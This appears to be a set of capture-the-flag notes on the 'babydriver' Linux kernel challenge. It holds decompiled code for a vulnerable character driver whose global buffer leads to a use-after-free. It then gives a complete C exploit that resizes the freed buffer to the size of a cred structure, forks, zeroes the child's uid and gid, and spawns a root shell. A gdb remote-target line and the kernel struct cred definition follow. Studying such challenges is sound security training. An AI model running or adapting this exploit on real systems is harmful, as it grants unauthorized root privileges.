int __cdecl babydriver_init()

{

  __int64 v0; // rdx

  int v1; // edx

  __int64 v2; // rsi

  __int64 v3; // rdx

  int v4; // ebx

  class *v5; // rax

  __int64 v6; // rdx

  __int64 v7; // rax

  if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )

  {

    cdev_init(&cdev_0, &fops);

    v2 = babydev_no;

    cdev_0.owner = &_this_module;

    v4 = cdev_add(&cdev_0, babydev_no, 1LL);

    if ( v4 >= 0 )

    {

      v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);

      babydev_class = v5;

      if ( v5 )

      {

        v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");

        v1 = 0;

        if ( v7 )

          return v1;

        printk(&unk_351, 0LL, 0LL);

        class_destroy(babydev_class);

      }

      else

      {

        printk(&unk_33B, "babydev", v6);

      }

      cdev_del(&cdev_0);

    }

    else

    {

      printk(&unk_327, v2, v3);

    }

    unregister_chrdev_region(babydev_no, 1LL);

    return v4;

  }

  printk(&unk_309, 0LL, v0);

  return 1;

}

void __cdecl babydriver_exit()

{

  device_destroy(babydev_class, babydev_no);

  class_destroy(babydev_class);

  cdev_del(&cdev_0);

  unregister_chrdev_region(babydev_no, 1LL);

}

int __fastcall babyopen(inode *inode, file *filp)

{

  __int64 v2; // rdx

  _fentry__(inode, filp);

  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);

  babydev_struct.device_buf_len = 64LL;

  printk("device open\n", 37748928LL, v2);

  return 0;

}

int __fastcall babyrelease(inode *inode, file *filp)

{

  __int64 v2; // rdx

  _fentry__(inode, filp);

  kfree(babydev_struct.device_buf);

  printk("device release\n", filp, v2);

  return 0;

}

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)

{

  size_t v4; // rdx

  ssize_t result; // rax

  ssize_t v6; // rbx

  _fentry__(filp, buffer);

  if ( !babydev_struct.device_buf )

    return -1LL;

  result = -2LL;

  if ( babydev_struct.device_buf_len > v4 )

  {

    v6 = v4;

    copy_to_user(buffer);

    result = v6;

  }

  return result;

}

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)

{

  size_t v4; // rdx

  ssize_t result; // rax

  ssize_t v6; // rbx

  _fentry__(filp, buffer);

  if ( !babydev_struct.device_buf )

    return -1LL;

  result = -2LL;

  if ( babydev_struct.device_buf_len > v4 )

  {

    v6 = v4;

    copy_from_user();

    result = v6;

  }

  return result;

}

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)

{

  size_t v3; // rdx

  size_t v4; // rbx

  __int64 v5; // rdx

  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);

  v4 = v3;

  if ( command == 65537 )

  {

    kfree(babydev_struct.device_buf);

    babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);

    babydev_struct.device_buf_len = v4;

    printk("alloc done\n", 37748928LL, v5);

    result = 0LL;

  }

  else

  {

    printk(&unk_2EB, v3, v3);

    result = -22LL;

  }

  return result;

}

#include <sys/types.h>

#include <stdio.h>

#include <linux/userfaultfd.h>

#include <pthread.h>

#include <errno.h>

#include <unistd.h>

#include <stdlib.h>

#include <fcntl.h>

#include <signal.h>

#include <poll.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/syscall.h>

#include <sys/ioctl.h>

#include <sys/sem.h>

#include <semaphore.h>

#include <poll.h>

int main(int argc, char const **argv)

{

	int fd1 = open("dev/babydev",O_RDWR);

	int fd2 = open("dev/babydev",O_RDWR);

	char buf[28] = {0};

	//alloc a 0xa8 space to create a fake cred

	printf("ppid %d, pid %d\n",getppid(),getpid());

	ioctl(fd1,65537,0xa8);

	close(fd1);

	int fpid = fork();      		//create a new proc as the same as now

	printf("fpid is %d\n",fpid);

	printf("ppid %d, pid %d\n",getppid(),getpid());

	if(!fpid)

	{

		printf("ppid %d, pid %d\n",getppid(),getpid());

		puts("right");

		write(fd2,buf,28);

		if(getuid()==0)

		{

			puts("welcome!\n");

			system("/bin/sh");

			return 0;

		}

	}

	else if (fpid<0){

		puts("error");

		}

	else{

	puts("hello");

	wait(NULL);

	}

	close(fd2);

	return 0;

}

target remote 127.0.0.1:7777

struct cred {

	atomic_t	usage;

#ifdef CONFIG_DEBUG_CREDENTIALS

	atomic_t	subscribers;	/* number of processes subscribed */

	void		*put_addr;

	unsigned	magic;

#define CRED_MAGIC	0x43736564

#define CRED_MAGIC_DEAD	0x44656144

#endif

	kuid_t		uid;		/* real UID of the task */

	kgid_t		gid;		/* real GID of the task */

	kuid_t		suid;		/* saved UID of the task */

	kgid_t		sgid;		/* saved GID of the task */

	kuid_t		euid;		/* effective UID of the task */

	kgid_t		egid;		/* effective GID of the task */

	kuid_t		fsuid;		/* UID for VFS ops */

	kgid_t		fsgid;		/* GID for VFS ops */

	unsigned	securebits;	/* SUID-less security management */

	kernel_cap_t	cap_inheritable; /* caps our children can inherit */

	kernel_cap_t	cap_permitted;	/* caps we're permitted */

	kernel_cap_t	cap_effective;	/* caps we can actually use */

	kernel_cap_t	cap_bset;	/* capability bounding set */

	kernel_cap_t	cap_ambient;	/* Ambient capability set */

#ifdef CONFIG_KEYS

	unsigned char	jit_keyring;	/* default keyring to attach requested

					 * keys to */

	struct key __rcu *session_keyring; /* keyring inherited over fork */

	struct key	*process_keyring; /* keyring private to this process */

	struct key	*thread_keyring; /* keyring private to this thread */

	struct key	*request_key_auth; /* assumed request_key authority */

#endif

#ifdef CONFIG_SECURITY

	void		*security;	/* subjective LSM security */

#endif

	struct user_struct *user;	/* real user ID subscription */

	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */

	struct group_info *group_info;	/* supplementary groups for euid/fsgid */

	struct rcu_head	rcu;		/* RCU deletion hook */

};

// 总大小 0xa8，一直到 gid 结束是 28 个字节